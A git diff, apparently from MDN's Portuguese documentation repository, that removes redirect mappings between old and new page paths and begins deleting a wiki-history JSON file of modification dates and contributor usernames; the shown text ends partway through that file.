/pt-PT/docs/Tools/Page_Inspector/How_to/Edit_fonts -/pt-PT/docs/Tools/Page_Inspector/atalhos_de_teclado /pt-PT/docs/Tools/Page_Inspector/Keyboard_shortcuts -/pt-PT/docs/Tools/Performance/Guia_da_IU /pt-PT/docs/Tools/Performance/UI_Tour -/pt-PT/docs/Tools/Remote_Debugging/Depuracao_remota_Thunderbird /pt-PT/docs/Tools/Remote_Debugging/Thunderbird -/pt-PT/docs/Tools/atalhos_de_teclado /pt-PT/docs/Tools/Keyboard_shortcuts -/pt-PT/docs/Transformar_XML_com_XSLT /pt-PT/docs/orphaned/Transformar_XML_com_XSLT -/pt-PT/docs/Transformar_XML_com_XSLT/Para_leitura_adicional /pt-PT/docs/orphaned/Transformar_XML_com_XSLT/Para_leitura_adicional -/pt-PT/docs/Transformar_XML_com_XSLT:Para_leitura_adicional /pt-PT/docs/orphaned/Transformar_XML_com_XSLT/Para_leitura_adicional -/pt-PT/docs/Tutorial_XUL /pt-PT/docs/orphaned/Tutorial_XUL -/pt-PT/docs/Tutorial_XUL/Adicionando_botões /pt-PT/docs/orphaned/Tutorial_XUL/Adicionando_botões -/pt-PT/docs/Tutorial_XUL/Criando_uma_janela /pt-PT/docs/orphaned/Tutorial_XUL/Criando_uma_janela -/pt-PT/docs/Tutorial_XUL/Introdução /pt-PT/docs/orphaned/Tutorial_XUL/Introdução -/pt-PT/docs/Tutorial_XUL:Adicionando_botões /pt-PT/docs/orphaned/Tutorial_XUL/Adicionando_botões -/pt-PT/docs/Tutorial_XUL:Criando_uma_janela /pt-PT/docs/orphaned/Tutorial_XUL/Criando_uma_janela -/pt-PT/docs/Tutorial_XUL:Introdução /pt-PT/docs/orphaned/Tutorial_XUL/Introdução -/pt-PT/docs/Tutorial_do_Canvas /pt-PT/docs/orphaned/Tutorial_do_Canvas -/pt-PT/docs/Tutorial_do_Canvas/Formas_de_desenho /pt-PT/docs/orphaned/Tutorial_do_Canvas/Formas_de_desenho -/pt-PT/docs/Tutorial_do_Canvas/Utilização_básica /pt-PT/docs/orphaned/Tutorial_do_Canvas/Utilização_básica -/pt-PT/docs/Tutorial_do_Canvas:_Utilização_básica /pt-PT/docs/orphaned/Tutorial_do_Canvas/Utilização_básica -/pt-PT/docs/Um_pequeno_exemplo_usando_AJAX /pt-PT/docs/orphaned/Um_pequeno_exemplo_usando_AJAX -/pt-PT/docs/Usando_o_Núcleo_DOM_Nível_1_do_W3C /pt-PT/docs/Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core -/pt-PT/docs/Usando_privilégios_expandidos_em_navegadores_Mozilla /pt-PT/docs/orphaned/Usando_privilégios_expandidos_em_navegadores_Mozilla -/pt-PT/docs/Usando_áudio_e_vídeo_no_Firefox /pt-PT/docs/orphaned/Usando_áudio_e_vídeo_no_Firefox -/pt-PT/docs/Using_the_W3C_DOM_Level_1_Core /pt-PT/docs/Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core -/pt-PT/docs/Utilizando_meta_tags /pt-PT/docs/orphaned/Utilizando_meta_tags -/pt-PT/docs/Utilização_CXX_no_código_da_Mozilla /pt-PT/docs/Mozilla/Utilização_CXX_no_código_da_Mozilla -/pt-PT/docs/Venkman /pt-PT/docs/orphaned/Venkman -/pt-PT/docs/Web/API/API_Autenticacao_Web /pt-PT/docs/Web/API/Web_Authentication_API -/pt-PT/docs/Web/API/API_Entradas_de_Diretoria_e_Ficheiro /pt-PT/docs/Web/API/File_and_Directory_Entries_API -/pt-PT/docs/Web/API/API_WebRTC /pt-PT/docs/Web/API/WebRTC_API -/pt-PT/docs/Web/API/API_WebRTC/Tirar_fotografias /pt-PT/docs/Web/API/WebRTC_API/Taking_still_photos -/pt-PT/docs/Web/API/API_armazenamento /pt-PT/docs/Web/API/Storage_API -/pt-PT/docs/Web/API/API_de_Armazenamento_da_Web /pt-PT/docs/conflicting/Web/API/Web_Storage_API -/pt-PT/docs/Web/API/API_de_canvas /pt-PT/docs/Web/API/Canvas_API -/pt-PT/docs/Web/API/API_de_canvas/Tutorial /pt-PT/docs/Web/API/Canvas_API/Tutorial -/pt-PT/docs/Web/API/API_do_Estado_da_Bateria /pt-PT/docs/Web/API/Battery_Status_API -/pt-PT/docs/Web/API/API_transmissoes_multimedia /pt-PT/docs/Web/API/Media_Streams_API -/pt-PT/docs/Web/API/Document.dir /pt-PT/docs/Web/API/Document/dir -/pt-PT/docs/Web/API/Eventos_de_Luz_Ambiente /pt-PT/docs/Web/API/Ambient_Light_Events -/pt-PT/docs/Web/API/Geolocation/Utilizacao_da_geolocalizacao /pt-PT/docs/Web/API/Geolocation_API -/pt-PT/docs/Web/API/Metadados /pt-PT/docs/Web/API/Metadata -/pt-PT/docs/Web/API/NavigatorOnLine/Eventos_online_e_offline /pt-PT/docs/Web/API/NavigatorOnLine/Online_and_offline_events -/pt-PT/docs/Web/API/Notifications_API/Utilizar_API_Notificações /pt-PT/docs/Web/API/Notifications_API/Using_the_Notifications_API -/pt-PT/docs/Web/API/Sistema_de_ficheiros /pt-PT/docs/Web/API/FileSystem -/pt-PT/docs/Web/API/WebGL_API/Constantes /pt-PT/docs/Web/API/WebGL_API/Constants -/pt-PT/docs/Web/API/WebGL_API/Dados /pt-PT/docs/Web/API/WebGL_API/Data -/pt-PT/docs/Web/API/WebGL_API/Tipos /pt-PT/docs/Web/API/WebGL_API/Types -/pt-PT/docs/Web/API/WebGL_API/Utilizar_Extensões /pt-PT/docs/Web/API/WebGL_API/Using_Extensions -/pt-PT/docs/Web/API/WebSockets_API/Escrever_aplicação_cliente_de_WebSocket /pt-PT/docs/Web/API/WebSockets_API/Writing_WebSocket_client_applications -/pt-PT/docs/Web/API/WebSockets_API/Escrever_servidores_de_WebSocket /pt-PT/docs/Web/API/WebSockets_API/Writing_WebSocket_servers -/pt-PT/docs/Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_C /pt-PT/docs/Web/API/WebSockets_API/Writing_WebSocket_server -/pt-PT/docs/Web/API/WebSockets_API/Escrever_um_servidor_WebSocket_em_Java /pt-PT/docs/Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java -/pt-PT/docs/Web/API/Web_Audio_API/Utilizar_api_audio_web /pt-PT/docs/Web/API/Web_Audio_API/Using_Web_Audio_API -/pt-PT/docs/Web/API/Web_Workers_API/Utilizacao_de_web_workers /pt-PT/docs/Web/API/Web_Workers_API/Using_web_workers -/pt-PT/docs/Web/API/Window/barra_lateral /pt-PT/docs/Web/API/Window/sidebar -/pt-PT/docs/Web/Accessibility/ARIA/ARIA_Techniques/Usando_o_role_status /pt-PT/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role -/pt-PT/docs/Web/Acessibilidade /pt-PT/docs/Web/Accessibility -/pt-PT/docs/Web/Acessibilidade/ARIA /pt-PT/docs/Web/Accessibility/ARIA -/pt-PT/docs/Web/Apps/Progressiva /pt-PT/docs/Web/Progressive_web_apps -/pt-PT/docs/Web/Apps/Progressiva/Identificavel /pt-PT/docs/conflicting/Web/Progressive_web_apps -/pt-PT/docs/Web/Apps/Progressiva/Responsivo /pt-PT/docs/conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks -/pt-PT/docs/Web/Apps/Progressive/Seguro /pt-PT/docs/conflicting/Web/Progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a -/pt-PT/docs/Web/CSS/:after /pt-PT/docs/Web/CSS/::after -/pt-PT/docs/Web/CSS/:before /pt-PT/docs/Web/CSS/::before -/pt-PT/docs/Web/CSS/CSS_Background_and_Borders /pt-PT/docs/Web/CSS/CSS_Backgrounds_and_Borders -/pt-PT/docs/Web/CSS/CSS_Background_and_Borders/Múltiplos_planos_de_fundo /pt-PT/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds -/pt-PT/docs/Web/CSS/CSS_Box_Model/Introducao_modelo_caixa_CSS /pt-PT/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model -/pt-PT/docs/Web/CSS/CSS_Colors /en-US/docs/Web/CSS/CSS_Color -/pt-PT/docs/Web/CSS/CSS_Colors/Ferramenta_selecao_cor /pt-PT/docs/Web/CSS/CSS_Colors/Color_picker_tool -/pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/alinhamento_de_itens_num_recipiente_flex /pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container -/pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/casos_de_utilizacao_tipicos_do_flexbox /pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox -/pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/ordenacao_dos_itens_flex /pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items -/pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/relação_do_flexbox_com_outros_métodos_de_layout /pt-PT/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods -/pt-PT/docs/Web/CSS/CSS_Tipos /pt-PT/docs/Web/CSS/CSS_Types -/pt-PT/docs/Web/CSS/Como_começar /pt-PT/docs/Learn/CSS/First_steps -/pt-PT/docs/Web/CSS/Como_começar/CSS_legível /pt-PT/docs/Learn/CSS/First_steps/How_CSS_is_structured -/pt-PT/docs/Web/CSS/Como_começar/Caixas /pt-PT/docs/Learn/CSS/Building_blocks -/pt-PT/docs/Web/CSS/Como_começar/Cascata_e_herança /pt-PT/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance -/pt-PT/docs/Web/CSS/Como_começar/Como_o_CSS_trabalha /pt-PT/docs/Learn/CSS/First_steps/How_CSS_works -/pt-PT/docs/Web/CSS/Como_começar/Conteúdo /pt-PT/docs/Learn/CSS/Howto/Generated_content -/pt-PT/docs/Web/CSS/Como_começar/Cor /pt-PT/docs/Learn/CSS/Building_blocks/Values_and_units -/pt-PT/docs/Web/CSS/Como_começar/Disposição /pt-PT/docs/Learn/CSS/CSS_layout -/pt-PT/docs/Web/CSS/Como_começar/Estilos_de_texto /pt-PT/docs/Learn/CSS/Styling_text/Fundamentals -/pt-PT/docs/Web/CSS/Como_começar/Gráficos_SVG /pt-PT/docs/Web/SVG/Tutorial/SVG_and_CSS -/pt-PT/docs/Web/CSS/Como_começar/JavaScript /pt-PT/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents -/pt-PT/docs/Web/CSS/Como_começar/Listas /pt-PT/docs/Learn/CSS/Styling_text/Styling_lists -/pt-PT/docs/Web/CSS/Como_começar/Mídia /pt-PT/docs/Web/Progressive_web_apps/Responsive/Media_types -/pt-PT/docs/Web/CSS/Como_começar/O_que_é_CSS /pt-PT/docs/conflicting/Learn/CSS/First_steps/How_CSS_works -/pt-PT/docs/Web/CSS/Como_começar/O_que_é_CSS? /pt-PT/docs/orphaned/Web/CSS/Como_começar/O_que_é_CSS? -/pt-PT/docs/Web/CSS/Como_começar/Porque_usar_CSS /pt-PT/docs/conflicting/Learn/CSS/First_steps/How_CSS_works_0767812f50daab83155d62da97c6e460 -/pt-PT/docs/Web/CSS/Como_começar/Seletores /pt-PT/docs/Learn/CSS/Building_blocks/Selectors -/pt-PT/docs/Web/CSS/Como_começar/Tabelas /pt-PT/docs/Learn/CSS/Building_blocks/Styling_tables -/pt-PT/docs/Web/CSS/Consulta_de_mídia /pt-PT/docs/Web/CSS/Media_Queries/Using_media_queries -/pt-PT/docs/Web/CSS/Consultas_de_media /pt-PT/docs/Web/CSS/Media_Queries -/pt-PT/docs/Web/CSS/Folhas_de_estilo_alternativas /pt-PT/docs/Web/CSS/Alternative_style_sheets -/pt-PT/docs/Web/CSS/Média_paginada /pt-PT/docs/Web/CSS/Paged_Media -/pt-PT/docs/Web/CSS/Múltiplos_fundos /pt-PT/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds -/pt-PT/docs/Web/CSS/Múltiplos_planos_de_fundo /pt-PT/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds -/pt-PT/docs/Web/CSS/Pseudoclasses /pt-PT/docs/Web/CSS/Pseudo-classes -/pt-PT/docs/Web/CSS/Pseudoelementos /pt-PT/docs/Web/CSS/Pseudo-elements -/pt-PT/docs/Web/CSS/Referência_CSS /pt-PT/docs/Web/CSS/Reference -/pt-PT/docs/Web/CSS/Usando_transformações_CSS /pt-PT/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms -/pt-PT/docs/Web/CSS/grid-gap /pt-PT/docs/Web/CSS/gap -/pt-PT/docs/Web/CSS/layout_de_grelha_css /pt-PT/docs/Web/CSS/CSS_Grid_Layout -/pt-PT/docs/Web/Componentes_Web /pt-PT/docs/Web/Web_Components -/pt-PT/docs/Web/Eventos /pt-PT/docs/Web/Events -/pt-PT/docs/Web/Eventos/visibilitychange /pt-PT/docs/Web/API/Document/visibilitychange_event -/pt-PT/docs/Web/Guide/AJAX/Como_começar /pt-PT/docs/Web/Guide/AJAX/Getting_Started -/pt-PT/docs/Web/Guide/AJAX/Comunidade /pt-PT/docs/Web/Guide/AJAX/Community -/pt-PT/docs/Web/Guide/CSS /pt-PT/docs/Learn/CSS -/pt-PT/docs/Web/Guide/Eventos /pt-PT/docs/orphaned/Web/Guide/Events -/pt-PT/docs/Web/Guide/Events /pt-PT/docs/orphaned/Web/Guide/Events -/pt-PT/docs/Web/Guide/Gráficos /pt-PT/docs/Web/Guide/Graphics -/pt-PT/docs/Web/Guide/HTML /pt-PT/docs/Learn/HTML -/pt-PT/docs/Web/Guide/HTML/Categorias_de_conteudo /pt-PT/docs/Web/Guide/HTML/Content_categories -/pt-PT/docs/Web/Guide/HTML/Introduction /pt-PT/docs/Learn/HTML/Introduction_to_HTML -/pt-PT/docs/Web/Guide/HTML/Utilizar_estruturas_e_seccoes_de_HTML /pt-PT/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines -/pt-PT/docs/Web/HTML/Aplicar_cor__elementos_HTML_utilizando_CSS /pt-PT/docs/Web/HTML/Applying_color -/pt-PT/docs/Web/HTML/Aplicar_cor_elementos_HTML_utilizando_CSS /pt-PT/docs/Web/HTML/Applying_color -/pt-PT/docs/Web/HTML/Atributos /pt-PT/docs/Web/HTML/Attributes -/pt-PT/docs/Web/HTML/Atributos/rel /pt-PT/docs/Web/HTML/Attributes/rel -/pt-PT/docs/Web/HTML/Atributos_globais /pt-PT/docs/Web/HTML/Global_attributes -/pt-PT/docs/Web/HTML/CORS_settings_attributes /pt-PT/docs/Web/HTML/Attributes/crossorigin -/pt-PT/docs/Web/HTML/Elemento /pt-PT/docs/Web/HTML/Element -/pt-PT/docs/Web/HTML/Elemento/Audio /pt-PT/docs/Web/HTML/Element/audio -/pt-PT/docs/Web/HTML/Elemento/Video /pt-PT/docs/Web/HTML/Element/video -/pt-PT/docs/Web/HTML/Elemento/fieldset /pt-PT/docs/Web/HTML/Element/fieldset -/pt-PT/docs/Web/HTML/Elemento/figcaption /pt-PT/docs/Web/HTML/Element/figcaption -/pt-PT/docs/Web/HTML/Elemento/head /pt-PT/docs/Web/HTML/Element/head -/pt-PT/docs/Web/HTML/Elemento/nav /pt-PT/docs/Web/HTML/Element/nav -/pt-PT/docs/Web/HTML/Elemento/progress /pt-PT/docs/Web/HTML/Element/progress -/pt-PT/docs/Web/HTML/HTML5 /pt-PT/docs/Web/Guide/HTML/HTML5 -/pt-PT/docs/Web/HTML/HTML5/Forms_no_HTML5 /pt-PT/docs/orphaned/Learn/HTML/Forms/HTML5_updates -/pt-PT/docs/Web/HTML/HTML5/Introdução_ao_HTML5 /pt-PT/docs/Web/Guide/HTML/HTML5/Introduction_to_HTML5 -/pt-PT/docs/Web/HTML/HTML5/Parser_HTML5 /pt-PT/docs/Web/Guide/HTML/HTML5/HTML5_Parser -/pt-PT/docs/Web/HTML/Referencia /pt-PT/docs/Web/HTML/Reference -/pt-PT/docs/Web/HTML/Tipos_de_hiperligacao /pt-PT/docs/Web/HTML/Link_types -/pt-PT/docs/Web/HTML_Linguagem_de_marcacao_de_hipertexto /pt-PT/docs/Web/HTML -/pt-PT/docs/Web/JavaScript/Estruturas_de_dados /pt-PT/docs/Web/JavaScript/Data_structures -/pt-PT/docs/Web/JavaScript/Gestao_Memoria /pt-PT/docs/Web/JavaScript/Memory_Management -/pt-PT/docs/Web/JavaScript/Guia /pt-PT/docs/Web/JavaScript/Guide -/pt-PT/docs/Web/JavaScript/Guia/Detalhes_do_modelo_de_objeto /pt-PT/docs/Web/JavaScript/Guide/Details_of_the_Object_Model -/pt-PT/docs/Web/JavaScript/Guia/Expressoes_e_Operadores /pt-PT/docs/orphaned/Web/JavaScript/Guia/Expressoes_e_Operadores -/pt-PT/docs/Web/JavaScript/Guia/Gramática_e_tipos /pt-PT/docs/Web/JavaScript/Guide/Grammar_and_types -/pt-PT/docs/Web/JavaScript/Guia/Introdução /pt-PT/docs/Web/JavaScript/Guide/Introduction -/pt-PT/docs/Web/JavaScript/Guia/Introdução_ao_JavaScript /pt-PT/docs/orphaned/Web/JavaScript/Guia/Introdução_ao_JavaScript -/pt-PT/docs/Web/JavaScript/Guia/Sobre /pt-PT/docs/orphaned/Web/JavaScript/Guia/Sobre -/pt-PT/docs/Web/JavaScript/Guia/Valores,_Variáveis_e_Literais /pt-PT/docs/orphaned/Web/JavaScript/Guia/Valores,_Variáveis_e_Literais -/pt-PT/docs/Web/JavaScript/New_in_JavaScript /pt-PT/docs/Web/JavaScript/Novidades_no_JavaScript -/pt-PT/docs/Web/JavaScript/O_que_é_o_JavaScript /pt-PT/docs/orphaned/Web/JavaScript/O_que_é_o_JavaScript -/pt-PT/docs/Web/JavaScript/Reference/Errors/declaração_função_sem_nome /pt-PT/docs/Web/JavaScript/Reference/Errors/Unnamed_function_statement -/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações /pt-PT/docs/Web/JavaScript/Reference/Statements -/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/bloco /pt-PT/docs/Web/JavaScript/Reference/Statements/block -/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/for /pt-PT/docs/Web/JavaScript/Reference/Statements/for -/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/return /pt-PT/docs/Web/JavaScript/Reference/Statements/return -/pt-PT/docs/Web/JavaScript/Reference/Extratos_e_declarações/throw /pt-PT/docs/Web/JavaScript/Reference/Statements/throw -/pt-PT/docs/Web/JavaScript/Reference/Funcionalidades_obsoletas /pt-PT/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features -/pt-PT/docs/Web/JavaScript/Reference/Funcoes /pt-PT/docs/Web/JavaScript/Reference/Functions -/pt-PT/docs/Web/JavaScript/Reference/Funcoes/Funcoes_seta /pt-PT/docs/Web/JavaScript/Reference/Functions/Arrow_functions -/pt-PT/docs/Web/JavaScript/Reference/Funcoes/arguments /pt-PT/docs/Web/JavaScript/Reference/Functions/arguments -/pt-PT/docs/Web/JavaScript/Reference/Funcoes/parametros_rest /pt-PT/docs/Web/JavaScript/Reference/Functions/rest_parameters -/pt-PT/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype /pt-PT/docs/orphaned/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype -/pt-PT/docs/Web/JavaScript/Reference/Global_Objects/Number/prototype /pt-PT/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Number -/pt-PT/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype /pt-PT/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Object -/pt-PT/docs/Web/JavaScript/Reference/Operadores /pt-PT/docs/Web/JavaScript/Reference/Operators -/pt-PT/docs/Web/JavaScript/Reference/Operadores/Operador_virgula /pt-PT/docs/Web/JavaScript/Reference/Operators/Comma_Operator -/pt-PT/docs/Web/JavaScript/Reference/Operadores/Precedencia_operador /pt-PT/docs/Web/JavaScript/Reference/Operators/Operator_Precedence -/pt-PT/docs/Web/JavaScript/Reference/Operadores/função /pt-PT/docs/Web/JavaScript/Reference/Operators/function -/pt-PT/docs/Web/JavaScript/Reference/Sobre /pt-PT/docs/Web/JavaScript/Reference/About -/pt-PT/docs/Web/MathML/Attribute/Valores /pt-PT/docs/Web/MathML/Attribute/Values -/pt-PT/docs/Web/MathML/Element/mglyph /pt-PT/docs/orphaned/Web/MathML/Element/mglyph -/pt-PT/docs/Web/MathML/Element/mlabeledtr /pt-PT/docs/orphaned/Web/MathML/Element/mlabeledtr -/pt-PT/docs/Web/MathML/Examples/Derivar_a_Formula_Resolvente /pt-PT/docs/Web/MathML/Examples/Deriving_the_Quadratic_Formula -/pt-PT/docs/Web/MathML/Examples/MathML_teorema_de_Pitagoras /pt-PT/docs/Web/MathML/Examples/MathML_Pythagorean_Theorem -/pt-PT/docs/Web/Progressive_web_apps/Guia_de_programacao /pt-PT/docs/Web/Progressive_web_apps/Developer_guide -/pt-PT/docs/Web/Progressive_web_apps/Identificavel /pt-PT/docs/conflicting/Web/Progressive_web_apps -/pt-PT/docs/Web/Progressive_web_apps/Responsivo /pt-PT/docs/conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks -/pt-PT/docs/Web/Progressive_web_apps/Responsivo/Elementos_base_desenho_adaptavel /pt-PT/docs/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks -/pt-PT/docs/Web/Progressive_web_apps/Seguro /pt-PT/docs/conflicting/Web/Progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a -/pt-PT/docs/Web/SVG/Aplicar_efeitos_SVG_conteudo_HTML /pt-PT/docs/Web/SVG/Applying_SVG_effects_to_HTML_content -/pt-PT/docs/Web/SVG/Namespaces_Crash_Course/Exemplo /pt-PT/docs/Web/SVG/Namespaces_Crash_Course/Example -/pt-PT/docs/Web/SVG/SVG_animacao_com_SMIL /pt-PT/docs/Web/SVG/SVG_animation_with_SMIL -/pt-PT/docs/Web/SVG/Tutorial/Introducao /pt-PT/docs/Web/SVG/Tutorial/Introduction -/pt-PT/docs/Web/SVG/Tutorial/SVG_na_Introducao_HTML /pt-PT/docs/Web/SVG/Tutorial/SVG_In_HTML_Introduction -/pt-PT/docs/Web/Security/Conteudo_misto /pt-PT/docs/Web/Security/Mixed_content -/pt-PT/docs/Web/Security/Mixed_content/Como_corrigir_um_site_da_Web_com_conteudo_misto_bloqueado /pt-PT/docs/Web/Security/Mixed_content/How_to_fix_website_with_mixed_content -/pt-PT/docs/Web/Seguranca /pt-PT/docs/Web/Security -/pt-PT/docs/Web/Seguranca/Palavras-passe_inseguras /pt-PT/docs/Web/Security/Insecure_passwords -/pt-PT/docs/Web/Seguranca/Same-origin_policy /pt-PT/docs/Web/Security/Same-origin_policy -/pt-PT/docs/Web/Tutoriais /pt-PT/docs/Web/Tutorials -/pt-PT/docs/Web/WebAPI /pt-PT/docs/conflicting/Web/API -/pt-PT/docs/Web/XML/Introducao_a_XML /pt-PT/docs/Web/XML/XML_introduction -/pt-PT/docs/Web/XSLT/Comunidade /pt-PT/docs/orphaned/Web/XSLT/Comunidade -/pt-PT/docs/Web/XSLT/Elementos /pt-PT/docs/orphaned/Web/XSLT/Elementos -/pt-PT/docs/WebAssembly/Utilizar_API_JavaScript_WebAssembly /pt-PT/docs/WebAssembly/Using_the_JavaScript_API -/pt-PT/docs/XForms /pt-PT/docs/orphaned/XForms -/pt-PT/docs/XForms/Controles_Customizados /pt-PT/docs/orphaned/XForms/Controles_Customizados -/pt-PT/docs/XForms:Controles_Customizados /pt-PT/docs/orphaned/XForms/Controles_Customizados -/pt-PT/docs/XForms_especiais_para_Mozilla /pt-PT/docs/orphaned/XForms_especiais_para_Mozilla -/pt-PT/docs/XHTML /pt-PT/docs/Glossary/XHTML -/pt-PT/docs/XMLHttpRequest /pt-PT/docs/conflicting/Web/API/XMLHttpRequest -/pt-PT/docs/XML_no_Mozilla /pt-PT/docs/orphaned/XML_no_Mozilla -/pt-PT/docs/XPath/Eixos /pt-PT/docs/orphaned/XPath/Eixos -/pt-PT/docs/XPath/Funções /pt-PT/docs/orphaned/XPath/Funções -/pt-PT/docs/XPath:Eixos /pt-PT/docs/orphaned/XPath/Eixos -/pt-PT/docs/XPath:Funções /pt-PT/docs/orphaned/XPath/Funções -/pt-PT/docs/XSLT /pt-PT/docs/Web/XSLT -/pt-PT/docs/XSLT/Comunidade /pt-PT/docs/orphaned/Web/XSLT/Comunidade -/pt-PT/docs/XSLT/Elementos /pt-PT/docs/orphaned/Web/XSLT/Elementos -/pt-PT/docs/XSLT:Comunidade /pt-PT/docs/orphaned/Web/XSLT/Comunidade -/pt-PT/docs/XSLT:Elementos /pt-PT/docs/orphaned/Web/XSLT/Elementos -/pt-PT/docs/en /en-US/ -/pt-PT/docs/manipuladores_de_protocolos_baseados_na_web /pt-PT/docs/orphaned/Manipuladores_de_protocolo_web diff --git a/files/pt-pt/_wikihistory.json b/files/pt-pt/_wikihistory.json deleted file mode 100644 index 7030ac5208..0000000000 --- a/files/pt-pt/_wikihistory.json +++ /dev/null @@ -1,5178 +0,0 @@ -{ - "Games": { - "modified": "2019-09-09T15:34:18.541Z", - "contributors": [ - "SphinxKnight", - "Aschlla", - "wbamberg", - "rPetas", - "fscholz", - "Anonymous" - ] - }, - "Games/Tutorials": { - "modified": "2019-03-18T21:30:51.808Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Games/Tutorials/2D_breakout_game_Phaser": { - "modified": "2019-03-18T21:30:42.706Z", - "contributors": [ - "wbamberg", - "chrisdavidmills" - ] - }, - "Glossary": { - "modified": "2020-10-07T11:13:28.151Z", - "contributors": [ - "peterbe", - "joaonunomota", - "SphinxKnight", - "Anonymous", - "wbamberg" - ] - }, - "Glossary/404": { - "modified": "2020-06-25T18:13:41.660Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/502": { - "modified": "2020-06-25T18:28:46.890Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/AJAX": { - "modified": "2020-06-09T08:11:59.760Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/API": { - "modified": "2019-03-23T22:32:07.433Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/ARIA": { - "modified": "2020-06-11T20:31:33.120Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/Accessibility": { - "modified": "2019-03-18T21:47:01.702Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Argument": { - "modified": "2019-03-18T21:17:57.812Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/BigInt": { - "modified": "2020-06-12T14:16:25.328Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/Block_cipher_mode_of_operation": { - "modified": "2020-07-19T20:41:55.171Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/Boolean": { - "modified": "2019-03-18T21:45:55.769Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Browser": { - "modified": "2019-03-23T22:01:42.054Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/CIA": { - "modified": "2020-06-11T20:33:04.482Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/CRLF": { - "modified": "2020-06-12T13:10:14.562Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/CRUD": { - "modified": "2020-06-11T20:38:17.457Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/Cache": { - "modified": "2020-06-07T12:38:40.205Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/Compile": { - "modified": "2019-03-23T22:01:24.745Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Cross_Axis": { - "modified": "2019-04-08T06:58:12.600Z", - "contributors": [ - "diogo-panaca" - ] - }, - "Glossary/DHTML": { - "modified": "2019-01-16T16:23:46.538Z", - "contributors": [ - "SphinxKnight", - "RuiMaciel" - ] - }, - "Glossary/DOM": { - "modified": "2019-10-08T09:31:32.173Z", - "contributors": [ - "Anonymous", - "GoToLoop" - ] - }, - "Glossary/ECMA": { - "modified": "2019-03-23T22:30:19.413Z", - "contributors": [ - "GoToLoop" - ] - }, - "Glossary/Element": { - "modified": "2019-03-18T21:18:07.800Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Engine": { - "modified": "2019-03-23T22:24:10.538Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Entity_header": { - "modified": "2020-07-25T18:10:04.388Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/Favicon": { - "modified": "2020-04-30T05:49:13.226Z", - "contributors": [ - "adilsonmandlate" - ] - }, - "Glossary/Flexbox": { - "modified": "2019-04-08T06:38:43.855Z", - "contributors": [ - "diogo-panaca" - ] - }, - "Glossary/GZip_compression": { - "modified": "2019-03-18T21:46:58.480Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Git": { - "modified": "2020-06-13T09:39:03.707Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/HTML": { - "modified": "2019-03-23T22:13:01.389Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/Hypertext": { - "modified": "2019-03-23T22:01:40.877Z", - "contributors": [ - "Anonymous" - ] - }, - "Glossary/IANA": { - "modified": "2020-06-07T13:01:45.679Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/ISP": { - "modified": "2020-07-16T14:02:41.646Z", - "contributors": [ - "joaonunomota" - ] - }, - "Glossary/Idempotent": { - "modified": "2019-07-11T10:59:59.365Z", - "contributors": [ - "FilipePintoReis" - ] - }, - "Glossary/IndexedDB": { - "modified": "2019-03-23T22:30:22.618Z", - "contributors": [ - "GoToLoop" - ] - }, - "Glossary/Lazy_load": { - "modified": 